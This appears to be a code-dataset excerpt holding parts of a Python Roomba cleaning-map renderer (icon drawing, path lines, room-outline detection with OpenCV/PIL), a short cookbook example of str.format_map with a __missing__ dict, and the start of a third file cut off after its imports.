draw_icon.ellipse([(5,5),(icon.size[0]-5,icon.size[1]-5)],\n fill=\"green\", outline=\"black\")\n draw_icon.pieslice([(5,5),(icon.size[0]-5,icon.size[1]-5)],\n 175, 185, fill=\"red\", outline=\"red\")\n draw_icon.polygon([(\n icon.size[0]//2,icon.size[1]), (0, 0), (0,icon.size[1])],\n fill = 'red')\n if fnt is not None:\n draw_icon.text((4,-4), \"!\", font=fnt,\n fill=(255,255,255,255))\n elif icon_name == \"cancelled\":\n if base_icon is None:\n draw_icon.ellipse([(5,5),(icon.size[0]-5,icon.size[1]-5)],\n fill=\"green\", outline=\"black\")\n draw_icon.pieslice([(5,5),(icon.size[0]-5,icon.size[1]-5)],\n 175, 185, fill=\"red\", outline=\"red\")\n if fnt is not None:\n draw_icon.text((4,-4), \"X\", font=fnt, fill=(255,0,0,255))\n elif icon_name == \"bin full\":\n draw_icon.rectangle([\n icon.size[0]-10, icon.size[1]-10,\n icon.size[0]+10, icon.size[1]+10],\n fill = \"grey\")\n if fnt is not None:\n draw_icon.text((4,-4), \"F\", font=fnt,\n fill=(255,255,255,255))\n elif icon_name == \"battery\":\n draw_icon.rectangle([icon.size[0]-10, icon.size[1]-10,\n icon.size[0]+10,icon.size[1]+10], fill = \"orange\")\n if fnt is not None:\n draw_icon.text((4,-4), \"B\", font=fnt,\n fill=(255,255,255,255))\n elif icon_name == \"home\":\n draw_icon.rectangle([0,0,32,32], fill=\"red\", outline=\"black\")\n if fnt is not None:\n draw_icon.text((4,-4), \"D\", font=fnt,\n fill=(255,255,255,255))\n else:\n icon = None\n #rotate icon 180 degrees\n icon = icon.rotate(180-self.angle, expand=False)\n return icon\n\n def initialise_map(self, roomba_size):\n '''\n Initialize all map items (base maps, overlay, icons fonts etc)\n '''\n # get base image of Roomba path\n if self.base is None:\n try:\n self.log.info(\"MAP: openening existing line image\")\n self.base = Image.open(\n self.mapPath + '/' + self.roombaName + 'lines.png')\\\n .convert('RGBA')\n if self.base.size != (self.mapSize[0], self.mapSize[1]):\n raise IOError(\"Image is wrong size\")\n except IOError as e:\n self.base = Image.new(\n 'RGBA',\n (self.mapSize[0], self.mapSize[1]), self.transparent)\n self.log.warn(\"MAP: line image problem: %s: created new image\"\n % e)\n\n try:\n self.log.info(\"MAP: openening existing problems image\")\n self.roomba_problem = Image.open(\n self.mapPath + '/'+self.roombaName + 'problems.png')\\\n .convert('RGBA')\n if self.roomba_problem.size != self.base.size:\n raise IOError(\"Image is wrong size\")\n except IOError as e:\n self.roomba_problem = Image.new(\n 'RGBA', self.base.size, self.transparent)\n self.log.warn(\"MAP: problems image problem: %s: created new \"\n \"image\" % e)\n\n try:\n self.log.info(\"MAP: openening existing map no text image\")\n self.previous_map_no_text = None\n self.map_no_text = Image.open(\n self.mapPath + '/' + self.roombaName + 'map_notext.png')\\\n .convert('RGBA')\n if self.map_no_text.size != self.base.size:\n raise IOError(\"Image is wrong size\")\n except IOError as e:\n self.map_no_text = None\n self.log.warn(\"MAP: map no text image problem: %s: set to None\"\n % e)\n # save x and y center of image, for centering of final map image\n self.cx = self.base.size[0]\n self.cy = self.base.size[1]\n\n # get a font\n if self.fnt is None:\n try:\n self.fnt = ImageFont.truetype('FreeMono.ttf', 40)\n except IOError as e:\n self.log.warn(\"error loading font: %s, loading default font\"\n % e)\n self.fnt = ImageFont.load_default()\n\n #set dock home position\n if self.home_pos is None:\n self.home_pos = (\n self.mapSize[0] // 2 + self.mapSize[2],\n self.mapSize[1] // 2 + self.mapSize[3])\n self.log.info(\"MAP: home_pos: (%d,%d)\"\n % (self.home_pos[0], self.home_pos[1]))\n\n #get icons\n if self.roomba_icon is None:\n self.roomba_icon = self.load_icon(\n filename=self.roomba_icon_file, icon_name=\"roomba\",\n fnt=self.fnt, size=roomba_size, base_icon=None)\n\n if self.roomba_error_icon is None:\n self.roomba_error_icon = self.load_icon(\n filename=self.roomba_error_file, icon_name=\"stuck\",\n fnt=self.fnt, size=roomba_size, base_icon=self.roomba_icon)\n\n if self.roomba_cancelled_icon is None:\n self.roomba_cancelled_icon = self.load_icon(\n filename=self.roomba_cancelled_file, icon_name=\"cancelled\",\n fnt=self.fnt, size=roomba_size, base_icon=self.roomba_icon)\n\n if self.roomba_battery_icon is None:\n self.roomba_battery_icon = self.load_icon(\n filename=self.roomba_battery_file, icon_name=\"battery\",\n fnt=self.fnt, size=roomba_size, base_icon=self.roomba_icon)\n\n if self.dock_icon is None and self.home_icon_file is not None:\n self.dock_icon = self.load_icon(\n filename=self.home_icon_file, icon_name=\"home\", fnt=self.fnt)\n self.dock_position = (\n self.home_pos[0] - self.dock_icon.size[0] // 2,\n self.home_pos[1] - self.dock_icon.size[1] // 2)\n\n if self.bin_full_icon is None:\n self.bin_full_icon = self.load_icon(\n filename=self.bin_full_file, icon_name=\"bin full\",\n fnt=self.fnt, size=roomba_size, base_icon=self.roomba_icon)\n\n self.log.info(\"MAP: Initialisation complete\")\n\n def transparent_paste(self, base_image, icon, position):\n '''\n needed because PIL pasting of transparent imges gives weird results\n '''\n image = Image.new('RGBA', self.base.size, self.transparent)\n image.paste(icon,position)\n base_image = Image.alpha_composite(base_image, image)\n return base_image\n\n def zero_coords(self):\n '''\n returns dictionary with default zero coords\n '''\n return {\"x\": 0, \"y\": 0, \"theta\": 180}\n\n def offset_coordinates(self, old_co_ords, new_co_ords):\n '''\n offset coordinates according to mapSize settings, with 0,0 as center\n '''\n x_y = (new_co_ords[\"x\"] + self.mapSize[0] // 2 + self.mapSize[2],\n new_co_ords[\"y\"] + self.mapSize[1] // 2 + self.mapSize[3])\n old_x_y = (old_co_ords[\"x\"]+self.mapSize[0] // 2 + self.mapSize[2],\n old_co_ords[\"y\"]+self.mapSize[1]//2+self.mapSize[3])\n\n theta = int(new_co_ords[\"theta\"] - 90 + self.roomba_angle)\n while theta > 359: theta = 360 - theta\n while theta < 0: theta = 360 + theta\n\n return old_x_y, x_y, theta\n\n def get_roomba_pos(self, x_y):\n '''\n calculate roomba position as list\n '''\n return [x_y[0] - self.roomba_icon.size[0] // 2,\n x_y[1] - self.roomba_icon.size[1] // 2,\n x_y[0] + self.roomba_icon.size[0] // 2,\n x_y[1] + self.roomba_icon.size[1] // 2]\n\n def draw_vacuum_lines(self, image, old_x_y, x_y, theta, colour=\"lawngreen\"):\n '''\n draw lines on image from old_x_y to x_y reepresenting vacuum coverage,\n taking into account angle theta (roomba angle).\n '''\n lines = ImageDraw.Draw(image)\n if x_y != old_x_y:\n self.log.info(\"MAP: drawing line: %s, %s\" % (old_x_y, x_y))\n lines.line([old_x_y, x_y], fill=colour,\n width=self.roomba_icon.size[0] // 2)\n #draw circle over roomba vacuum area to give smooth edges.\n arcbox = [x_y[0]-self.roomba_icon.size[0] // 4,\n x_y[1]-self.roomba_icon.size[0] // 4,\n x_y[0]+self.roomba_icon.size[0] // 4,\n x_y[1]+self.roomba_icon.size[0] // 4]\n lines.ellipse(arcbox, fill=colour)\n\n def draw_text(self, image, display_text, fnt, pos=(0,0),\n colour=(0,0,255,255), rotate=False):\n #draw text - (WARNING old versions of PIL have huge memory leak here!)\n if display_text is None: return\n self.log.info(\"MAP: writing text: pos: %s, text: %s\"\n % (pos, display_text))\n if rotate:\n txt = Image.new('RGBA', (fnt.getsize(display_text)),\n self.transparent)\n text = ImageDraw.Draw(txt)\n # draw text rotated 180 degrees...\n text.text((0,0), display_text, font=fnt, fill=colour)\n image.paste(txt.rotate(180-self.angle, expand=True), pos)\n else:\n text = ImageDraw.Draw(image)\n text.text(pos, display_text, font=fnt, fill=colour)\n\n def draw_map(self, force_redraw=False):\n '''\n Draw map of Roomba cleaning progress\n '''\n if ((self.co_ords != self.previous_co_ords or\n self.cleanMissionStatus_phase !=\n self.previous_cleanMissionStatus_phase)\n or force_redraw) and self.drawmap:\n self.render_map(self.co_ords, self.previous_co_ords)\n self.previous_co_ords = self.co_ords.copy()\n self.previous_cleanMissionStatus_phase = \\\n self.cleanMissionStatus_phase\n\n def render_map(self, new_co_ords, old_co_ords):\n '''\n draw map\n '''\n draw_final = False\n stuck = False\n cancelled = False\n bin_full = False\n battery_low = False\n\n # program just started, and we don't have phase yet.\n if self.current_state is None:\n return\n\n if self.show_final_map == False:\n self.log.info(\"MAP: received: new_co_ords: %s old_co_ords: %s \"\n \"phase: %s, state: %s\" % (\n new_co_ords, old_co_ords,\n self.cleanMissionStatus_phase, self.current_state))\n\n if self.current_state == self.states[\"charge\"]:\n self.log.info(\"MAP: ignoring new co-ords in charge phase\")\n new_co_ords = old_co_ords = self.zero_coords()\n self.display_text = \"Charging: Battery: \" + \\\n str(self.master_state[\"state\"][\"reported\"][\"batPct\"]) + \"%\"\n if self.bin_full:\n self.display_text = \"Bin Full,\" + \\\n self.display_text.replace(\"Charging\", \"Not Ready\")\n if (self.last_completed_time is None or time.time() -\n self.last_completed_time > 3600):\n self.save_text_and_map_on_whitebg(self.map_no_text)\n draw_final = True\n\n elif self.current_state == self.states[\"recharge\"]:\n self.log.info(\"MAP: ignoring new co-ords in recharge phase\")\n new_co_ords = old_co_ords = self.zero_coords()\n self.display_text = \"Recharging:\" + \" Time: \" + \\\n str(self.master_state[\"state\"][\"reported\"][\"cleanMissionStatus\"][\"rechrgM\"]) + \"m\"\n if self.bin_full:\n self.display_text = \"Bin Full,\" + self.display_text\n self.save_text_and_map_on_whitebg(self.map_no_text)\n\n elif self.current_state == self.states[\"pause\"]:\n self.log.info(\"MAP: ignoring new co-ords in pause phase\")\n new_co_ords = old_co_ords\n self.display_text = \"Paused: \" + \\\n str(self.master_state[\"state\"][\"reported\"][\"cleanMissionStatus\"][\"mssnM\"]) + \\\n \"m, Bat: \"+ str(self.master_state[\"state\"][\"reported\"][\"batPct\"]) + \\\n \"%\"\n if self.bin_full:\n self.display_text = \"Bin Full,\" + self.display_text\n # assume roomba is docked...\n new_co_ords = old_co_ords = self.zero_coords()\n self.save_text_and_map_on_whitebg(self.map_no_text)\n\n elif self.current_state == self.states[\"hmPostMsn\"]:\n self.display_text = \"Completed: \" + \\\n time.strftime(\"%a %b %d %H:%M:%S\")\n self.log.info(\"MAP: end of mission\")\n\n elif self.current_state == self.states[\"dockend\"]:\n self.log.info(\"MAP: mission completed: ignoring new co-ords in \"\n \"docking phase\")\n new_co_ords = old_co_ords = self.zero_coords()\n self.draw_final_map(True)\n draw_final = True\n\n elif (self.current_state == self.states[\"run\"] or\n self.current_state == self.states[\"stop\"] or\n self.current_state == self.states[\"pause\"]):\n if self.current_state == self.states[\"run\"]:\n self.display_text = self.states[\"run\"] + \" Time: \" + \\\n str(self.master_state[\"state\"][\"reported\"][\"cleanMissionStatus\"][\"mssnM\"]) + \\\n \"m, Bat: \"+ str(self.master_state[\"state\"][\"reported\"][\"batPct\"]) + \\\n \"%\"\n else:\n self.display_text = None\n self.show_final_map = False\n\n elif self.current_state == self.states[\"new\"]:\n self.angle = self.mapSize[4] #reset angle\n self.base = Image.new('RGBA', self.base.size, self.transparent)\n # overlay for roomba problem position\n self.roomba_problem = Image.new('RGBA', self.base.size,\n self.transparent)\n self.show_final_map = False\n self.display_text = None\n self.log.info(\"MAP: created new image at start of new run\")\n\n elif self.current_state == self.states[\"stuck\"]:\n self.display_text = \"STUCK!: \" + time.strftime(\"%a %b %d %H:%M:%S\")\n self.draw_final_map(True)\n draw_final = True\n stuck = True\n\n elif self.current_state == self.states[\"cancelled\"]:\n self.display_text = \"Cancelled: \" + \\\n time.strftime(\"%a %b %d %H:%M:%S\")\n cancelled = True\n\n elif self.current_state == self.states[\"dock\"]:\n self.display_text = \"Docking\"\n if self.bin_full:\n self.display_text = \"Bin Full,\" + self.display_text\n bin_full = True\n else:\n self.display_text = \"Battery low: \" + \\\n str(self.master_state[\"state\"][\"reported\"][\"batPct\"]) + \\\n \"%, \" + self.display_text\n battery_low = True\n\n else:\n self.log.warn(\"MAP: no special handling for state: %s\"\n % self.current_state)\n\n if self.base is None:\n self.log.warn(\"MAP: no image, exiting...\")\n return\n\n if self.display_text is None:\n self.display_text = self.current_state\n\n if self.show_final_map: #just display final map - not live\n self.log.debug(\"MAP: not updating map - Roomba not running\")\n return\n\n if self.debug:\n # debug final map (careful, uses a lot of CPU power!)\n self.draw_final_map()\n\n #calculate co-ordinates, with 0,0 as center\n old_x_y, x_y, theta = self.offset_coordinates(old_co_ords, new_co_ords)\n roomba_pos = self.get_roomba_pos(x_y)\n\n self.log.info(\"MAP: old x,y: %s new x,y: %s theta: %s roomba pos: %s\" %\n (old_x_y, x_y, theta, roomba_pos))\n\n #draw lines\n self.draw_vacuum_lines(self.base, old_x_y, x_y, theta)\n\n # make a blank image for the text and Roomba overlay, initialized to\n # transparent text color\n roomba_sprite = Image.new('RGBA', self.base.size, self.transparent)\n\n #draw roomba\n self.log.info(\"MAP: drawing roomba: pos: %s, theta: %s\"\n % (roomba_pos, theta))\n if stuck:\n self.log.info(\"MAP: Drawing stuck Roomba\")\n self.roomba_problem.paste(self.roomba_error_icon,roomba_pos)\n if cancelled:\n self.log.info(\"MAP: Drawing cancelled Roomba\")\n self.roomba_problem.paste(self.roomba_cancelled_icon,roomba_pos)\n if bin_full:\n self.log.info(\"MAP: Drawing full bin\")\n self.roomba_problem.paste(self.bin_full_icon,roomba_pos)\n if battery_low:\n self.log.info(\"MAP: Drawing low battery Roomba\")\n self.roomba_problem.paste(self.roomba_battery_icon,roomba_pos)\n\n roomba_sprite = self.transparent_paste(\n roomba_sprite,\n self.roomba_icon.rotate(theta, expand=False), roomba_pos)\n\n # paste dock over roomba_sprite\n if self.dock_icon is not None:\n roomba_sprite = self.transparent_paste(\n roomba_sprite, self.dock_icon, self.dock_position)\n\n # save base lines\n self.base.save(self.mapPath + '/' + self.roombaName + 'lines.png',\n \"PNG\")\n # save problem overlay\n self.roomba_problem.save(self.mapPath + '/' + self.roombaName + \\\n 'problems.png', \"PNG\")\n if self.roomOutline or self.auto_rotate:\n # draw room outline (saving results if this is a final map) update\n # x,y and angle if auto_rotate\n self.draw_room_outline(draw_final)\n # merge room outline into base\n if self.roomOutline:\n #if we want to draw the room outline\n out = Image.alpha_composite(self.base, self.room_outline)\n else:\n out = self.base\n #merge roomba lines (trail) with base\n out = Image.alpha_composite(out, roomba_sprite)\n #merge problem location for roomba into out\n out = Image.alpha_composite(out, self.roomba_problem)\n if draw_final and self.auto_rotate:\n #translate image to center it if auto_rotate is on\n self.log.info(\"MAP: calculation of center: (%d,%d), \"\n \"translating final map to center it, x:%d, y:%d \"\n \"deg: %.2f\" % (\n self.cx, self.cy, self.cx - out.size[0] // 2,\n self.cy - out.size[1] // 2,\n self.angle))\n out = out.transform(\n out.size, Image.AFFINE,\n (1, 0, self.cx-out.size[0] // 2,\n 0, 1, self.cy-out.size[1] // 2))\n # map is upside down, so rotate 180 degrees, and size to fit\n out_rotated = out.rotate(180 + self.angle, expand=True).\\\n resize(self.base.size)\n # save composite image\n self.save_text_and_map_on_whitebg(out_rotated)\n if draw_final:\n self.show_final_map = True # prevent re-drawing of map until reset\n\n def save_text_and_map_on_whitebg(self, map):\n # if no map or nothing changed\n if map is None or (map == self.previous_map_no_text and\n self.previous_display_text == self.display_text):\n return\n self.map_no_text = map\n self.previous_map_no_text = self.map_no_text\n self.previous_display_text = self.display_text\n self.map_no_text.save(self.mapPath + '/' + self.roombaName +\n 'map_notext.png', \"PNG\")\n final = Image.new('RGBA', self.base.size, (255,255,255,255)) # white\n # paste onto a white background, so it's easy to see\n final = Image.alpha_composite(final, map)\n # draw text\n self.draw_text(final, self.display_text, self.fnt)\n final.save(self.mapPath + '/'+self.roombaName + '_map.png', \"PNG\")\n # try to avoid other programs reading file while writing it,\n # rename should be atomic.\n os.rename(self.mapPath + '/' + self.roombaName + '_map.png',\n self.mapPath + '/' + self.roombaName + 'map.png')\n\n def ScaleRotateTranslate(self, image, angle, center=None, new_center=None,\n scale=None, expand=False):\n '''\n experimental - not used yet\n '''\n if center is None:\n return image.rotate(angle, expand)\n angle = -angle / 180.0 * math.pi\n nx, ny = x, y = center\n if new_center != center:\n (nx, ny) = new_center\n sx = sy = 1.0\n if scale:\n (sx, sy) = scale\n cosine = math.cos(angle)\n sine = math.sin(angle)\n a = cosine / sx\n b = sine / sx\n c = x - nx * a - ny * b\n d = -sine / sy\n e = cosine / sy\n f = y - nx * d - ny * e\n return image.transform(image.size, Image.AFFINE,\n (a,b,c,d,e,f), resample=Image.BICUBIC)\n\n def match_outlines(self, orig_image, skewed_image):\n orig_image = np.array(orig_image)\n skewed_image = np.array(skewed_image)\n try:\n surf = cv2.xfeatures2d.SURF_create(400)\n except Exception:\n surf = cv2.SIFT(400)\n kp1, des1 = surf.detectAndCompute(orig_image, None)\n kp2, des2 = surf.detectAndCompute(skewed_image, None)\n\n FLANN_INDEX_KDTREE = 0\n index_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\n search_params = dict(checks=50)\n flann = cv2.FlannBasedMatcher(index_params, search_params)\n matches = flann.knnMatch(des1, des2, k=2)\n\n # store all the good matches as per Lowe's ratio test.\n good = []\n for m, n in matches:\n if m.distance < 0.7 * n.distance:\n good.append(m)\n\n MIN_MATCH_COUNT = 10\n if len(good) > MIN_MATCH_COUNT:\n src_pts = np.float32([kp1[m.queryIdx].pt for m in good\n ]).reshape(-1, 1, 2)\n dst_pts = np.float32([kp2[m.trainIdx].pt for m in good\n ]).reshape(-1, 1, 2)\n\n M, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC, 5.0)\n\n # see https://ch.mathworks.com/help/images/examples/find-image-rotation-and-scale-using-automated-feature-matching.html for details\n ss = M[0, 1]\n sc = M[0, 0]\n scaleRecovered = math.sqrt(ss * ss + sc * sc)\n thetaRecovered = math.atan2(ss, sc) * 180 / math.pi\n self.log.info(\"MAP: Calculated scale difference: %.2f, \"\n \"Calculated rotation difference: %.2f\" %\n (scaleRecovered, thetaRecovered))\n\n #deskew image\n im_out = cv2.warpPerspective(skewed_image, np.linalg.inv(M),\n (orig_image.shape[1], orig_image.shape[0]))\n return im_out\n\n else:\n self.log.warn(\"MAP: Not enough matches are found - %d/%d\"\n % (len(good), MIN_MATCH_COUNT))\n return skewed_image\n\n def draw_room_outline(self, overwrite=False, colour=(64,64,64,255),\n width=1):\n '''\n draw room outline\n '''\n self.log.info(\"MAP: checking room outline\")\n if HAVE_CV2:\n if self.room_outline_contour is None or overwrite:\n try:\n self.room_outline_contour = np.load(\n self.mapPath + '/' + self.roombaName + 'room.npy')\n except IOError as e:\n self.log.warn(\"Unable to load room outline: %s, setting \"\n \"to 0\" % e)\n self.room_outline_contour = np.array(\n [(0,0),(0,0),(0,0),(0,0)], dtype=np.int)\n\n try:\n self.log.info(\"MAP: openening existing room outline image\")\n self.room_outline = Image.open(\n self.mapPath + '/' + self.roombaName + 'room.png').\\\n convert('RGBA')\n if self.room_outline.size != self.base.size:\n raise IOError(\"Image is wrong size\")\n except IOError as e:\n self.room_outline = Image.new(\n 'RGBA', self.base.size, self.transparent)\n self.log.warn(\"MAP: room outline image problem: %s: \"\n \"set to New\" % e)\n\n room_outline_area = cv2.contourArea(self.room_outline_contour)\n # edgedata = cv2.add(\n # np.array(self.base.convert('L'), dtype=np.uint8),\n # np.array(self.room_outline.convert('L'), dtype=np.uint8))\n edgedata = np.array(self.base.convert('L'))\n # find external contour\n _, contours, _ = self.findContours(\n edgedata,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n if contours[0] is None: return\n if len(contours[0]) < 5: return\n max_area = cv2.contourArea(contours[0])\n # experimental shape matching\n # note cv2.cv.CV_CONTOURS_MATCH_I1 does not exist in CV 3.0,\n # so just use 1\n match = cv2.matchShapes(\n self.room_outline_contour,contours[0],1,0.0)\n self.log.info(\"MAP: perimeter/outline match is: %.4f\" % match)\n # if match is less than 0.35 - shapes are similar (but if it's 0 -\n # then they are the same shape..) try auto rotating map to fit.\n if match < 0.35 and match > 0:\n #self.match_outlines(self.room_outline, self.base)\n pass\n if max_area > room_outline_area:\n self.log.info(\"MAP: found new outline perimiter\")\n self.room_outline_contour = contours[0]\n perimeter = cv2.arcLength(self.room_outline_contour,True)\n outline = Image.new('RGBA',self.base.size,self.transparent)\n edgeimage = np.array(outline) # make blank RGBA image array\n # self.draw_edges is the max deviation from a line (set to 0.3%)\n # you can fiddle with this\n approx = cv2.approxPolyDP(\n self.room_outline_contour,\n self.draw_edges * perimeter,\n True)\n # outline with grey, width 1\n cv2.drawContours(edgeimage,[approx] , -1, colour, width)\n self.room_outline = Image.fromarray(edgeimage)\n\n else:\n if self.room_outline is None or overwrite:\n try:\n self.log.info(\"MAP: openening existing room outline image\")\n self.room_outline = Image.open(\n self.mapPath + '/' + self.roombaName + 'room.png').\\\n convert('RGBA')\n if self.room_outline.size != self.base.size:\n raise IOError(\"Image is wrong size\")\n except IOError as e:\n self.room_outline = Image.new(\n 'RGBA', self.base.size, self.transparent)\n self.log.warn(\"MAP: room outline image problem: %s: \"\n \"set to New\" % e)\n edges = ImageOps.invert(self.room_outline.convert('L'))\n edges.paste(self.base)\n edges = edges.convert('L').filter(ImageFilter.SMOOTH_MORE)\n edges = ImageOps.invert(edges.filter(ImageFilter.FIND_EDGES))\n self.room_outline = self.make_transparent(edges, (0, 0, 0, 255))\n\n if overwrite or self.debug:\n # save room outline\n self.room_outline.save(\n self.mapPath+'/'+self.roombaName+'room.png', \"PNG\")\n if HAVE_CV2:\n # save room outline contour as numpy array\n np.save(self.mapPath + '/' + self.roombaName + 'room.npy',\n self.room_outline_contour)\n if self.auto_rotate:\n # update outline centre\n self.get_image_parameters(\n image=self.room_outline, contour=self.room_outline_contour,\n final=overwrite)\n self.log.info(\"MAP: calculation of center: (%d,%d), \"\n \"translating room outline to center it, \"\n \"x:%d, y:%d deg: %.2f\" % (\n self.cx, self.cy,\n self.cx - self.base.size[0] // 2,\n self.cy - self.base.size[1] // 2,\n self.angle))\n # center room outline, same as map.\n self.room_outline = self.room_outline.transform(\n self.base.size, Image.AFFINE,\n (1, 0, self.cx - self.base.size[0] // 2,\n 0, 1, self.cy-self.base.size[1]//2))\n self.log.info(\"MAP: Wrote new room outline files\")\n\n def PIL_get_image_parameters(self, image=None, start=90, end = 0, step=-1,\n recursion=0):\n '''\n updates angle of image, and centre using PIL.\n NOTE: this assumes the floorplan is rectangular! if you live in a\n lighthouse, the angle will not be valid!\n input is PIL image\n '''\n if image is not None and HAVE_PIL:\n imbw = image.convert('L')\n max_area = self.base.size[0] * self.base.size[1]\n x_y = (self.base.size[0] // 2, self.base.size[1] // 2)\n angle = self.angle\n div_by_10 = False\n if step >=10 or step <=-10:\n step /= 10\n div_by_10 = True\n for try_angle in range(start, end, step):\n if div_by_10:\n try_angle /= 10.0\n #rotate image and resize to fit\n im = imbw.rotate(try_angle, expand=True)\n box = im.getbbox()\n if box is not None:\n area = (box[2]-box[0]) * (box[3]-box[1])\n if area < max_area:\n angle = try_angle\n x_y = ((box[2] - box[0]) // 2 + box[0],\n (box[3] - box[1]) // 2 + box[1])\n max_area = area\n\n if recursion >= 1:\n return x_y, angle\n\n x_y, angle = self.PIL_get_image_parameters(\n image,\n (angle + 1) * 10,\n (angle - 1) * 10, -10,\n recursion + 1)\n\n # self.log.info(\"MAP: PIL: image center: \"\n # \"x:%d, y:%d, angle %.2f\" % (x_y[0], x_y[1], angle))\n return x_y, angle\n\n def get_image_parameters(self, image=None, contour=None, final=False):\n '''\n updates angle of image, and centre using cv2 or PIL.\n NOTE: this assumes the floorplan is rectangular! if you live in a\n lighthouse, the angle will not be valid!\n input is cv2 contour or PIL image\n routines find the minnimum area rectangle that fits the image outline\n '''\n if contour is not None and HAVE_CV2:\n # find minnimum area rectangle that fits\n # returns (x,y), (width, height), theta - where (x,y) is the center\n x_y,l_w,angle = cv2.minAreaRect(contour)\n\n elif image is not None and HAVE_PIL:\n x_y, angle = self.PIL_get_image_parameters(image)\n\n else:\n return\n\n if angle < self.angle - 45:\n angle += 90\n if angle > 45-self.angle:\n angle -= 90\n\n if final:\n self.cx = x_y[0]\n self.cy = x_y[1]\n self.angle = angle\n self.log.info(\"MAP: image center: x:%d, y:%d, angle %.2f\" %\n (x_y[0], x_y[1], angle))\n\n def angle_between(self, p1, p2):\n '''\n clockwise angle between two points in degrees\n '''\n if HAVE_CV2:\n ang1 = np.arctan2(*p1[::-1])\n ang2 = np.arctan2(*p2[::-1])\n return np.rad2deg((ang1 - ang2) % (2 * np.pi))\n else:\n side1=math.sqrt(((p1[0] - p2[0]) ** 2))\n side2=math.sqrt(((p1[1] - p2[1]) ** 2))\n return math.degrees(math.atan(side2/side1))\n\n def findContours(self,image,mode,method):\n '''\n Version independent find contours routine. Works with OpenCV 2 or 3.\n Returns modified image (with contours applied), contours list, hierarchy\n '''\n ver = int(cv2.__version__.split(\".\")[0])\n im = image.copy()\n if ver == 2:\n contours, hierarchy = cv2.findContours(im,mode,method)\n return im, contours, hierarchy\n else:\n im_cont, contours, hierarchy = cv2.findContours(im,mode,method)\n return im_cont, contours, hierarchy\n\n def draw_final_map(self, overwrite=False):\n '''\n draw map with outlines at end of mission. Called when mission has\n finished and Roomba has docked\n '''\n merge = Image.new('RGBA',self.base.size,self.transparent)\n if HAVE_CV2:\n # NOTE: this is CPU intensive!\n edgedata = np.array(self.base.convert('L'), dtype=np.uint8)\n # find all contours\n _, contours, _ = self.findContours(\n edgedata,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n # zero edge data for later use\n edgedata.fill(0)\n max_perimeter = 0\n max_contour = None\n for cnt in contours:\n perimeter = cv2.arcLength(cnt,True)\n if perimeter >= max_perimeter:\n max_contour = cnt # get the contour with maximum length\n max_perimeter = perimeter\n if max_contour is None: return\n if len(max_contour) < 5: return\n try:\n contours.remove(max_contour) # remove max contour from list\n except ValueError:\n self.log.warn(\"MAP: unable to remove contour\")\n pass\n\n mask = np.full(edgedata.shape, 255, dtype=np.uint8) # white\n # create mask (of other contours) in black\n cv2.drawContours(mask,contours, -1, 0, -1)\n\n # self.draw_edges is the max deviation from a line\n # you can fiddle with this in enable_map\n approx = cv2.approxPolyDP(max_contour,\n self.draw_edges * max_perimeter,True)\n\n bgimage = np.array(merge) # make blank RGBA image array\n # draw contour and fill with \"lawngreen\"\n cv2.drawContours(bgimage,[approx] , -1, (124, 252, 0, 255), -1)\n # mask image with internal contours\n bgimage = cv2.bitwise_and(bgimage,bgimage,mask = mask)\n # not dure if you really need this - uncomment if you want the\n # area outlined.\n # draw longest contour aproximated to lines (in black), width 1\n cv2.drawContours(edgedata,[approx] , -1, (255), 1)\n\n outline = Image.fromarray(edgedata) # outline\n base = Image.fromarray(bgimage) # filled background image\n else:\n base = self.base.filter(ImageFilter.SMOOTH_MORE)\n # draw edges at end of mission\n outline = base.convert('L').filter(ImageFilter.FIND_EDGES)\n # outline = ImageChops.subtract(\n # base.convert('L').filter(ImageFilter.EDGE_ENHANCE),\n # base.convert('L'))\n\n edges = ImageOps.invert(outline)\n edges = self.make_transparent(edges, (0, 0, 0, 255))\n if self.debug:\n edges.save(self.mapPath+'/'+self.roombaName+'edges.png', \"PNG\")\n merge = Image.alpha_composite(merge,base)\n merge = Image.alpha_composite(merge,edges)\n if overwrite:\n self.log.info(\"MAP: Drawing final map\")\n self.last_completed_time = time.time()\n self.base=merge\n\n if self.debug:\n merge_rotated = merge.rotate(180+self.angle, expand=True)\n merge_rotated.save(\n self.mapPath+'/'+self.roombaName+'final_map.png', \"PNG\")\n","sub_path":"build/lib.linux-x86_64-2.7/roomba/roomba.py","file_name":"roomba.py","file_ext":"py","file_size_in_byte":70025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"105145137","text":"#!/usr/bin/env Python3\n# -*- coding:utf-8 -*-\n\n\"\"\"\n@version: 0.1\n@author: paranoidQ\n@license: Apache Licence \n@contact: paranoid_qian@163.com\n@file: insert_params_in_string.py\n@time: 15/12/28 16:50\n\"\"\"\n\ns = '{name} has {n} messages.'\nrst = s.format(name='qianwei', n=34)\nprint(rst)\n\n\n# format map\nname = 'paranoidq'\nn = 32\nrst = s.format_map(vars())\nprint(rst)\n\nclass Info:\n def __init__(self, name, n):\n self.name = name\n self.n = n\n\na = Info('eric', 23)\nrst = s.format_map(vars(a))\nprint(rst)\n\n\n# 不能处理变量缺失的情况,会报错keyError\n# 替代:__miss__\n\nclass safesub(dict):\n \"\"\" 防止key找不到\n \"\"\"\n def __missing__(self, key):\n return '{' + key + '}'\n\ndel n\nrst = s.format_map(safesub(vars()))\nprint(rst)\n# output:\n# paranoidq has {n} messages.\n\n# encapsulating\nimport sys\ndef sub(text):\n return text.format_map(safesub(sys._getframe(1).f_locals))\nname = 'qiawei'\nn = 37\nprint(sub('hello, {name}'))\nprint(sub('you have {n} messages'))\nprint(sub('your message is {message}'))\n# output:\n\"\"\"\nhello, qiawei\nyou have 37 messages\nyour message is {message}\n\"\"\"\n\n\n# 使用了missing之后, 可以发现缺失的值会出现在结果字符串中\n# (在调试的时候可能很有用)\n\n# sys._get_frames(1)会返回调用者的栈帧,可以从中访问属性f_locals来获取局部变量.\n# 绝大部分情况下,代码中直接操作栈帧不推荐,但是对于这种字符串替换工具函数而言非常有用!!!\n\n\n","sub_path":"python-cookbook/cp-2/insert_params_in_string.py","file_name":"insert_params_in_string.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"275741747","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 19 14:25:07 2019\n\n@author: miguel\n\"\"\"\n\nimport numpy as np\nfrom transforms import 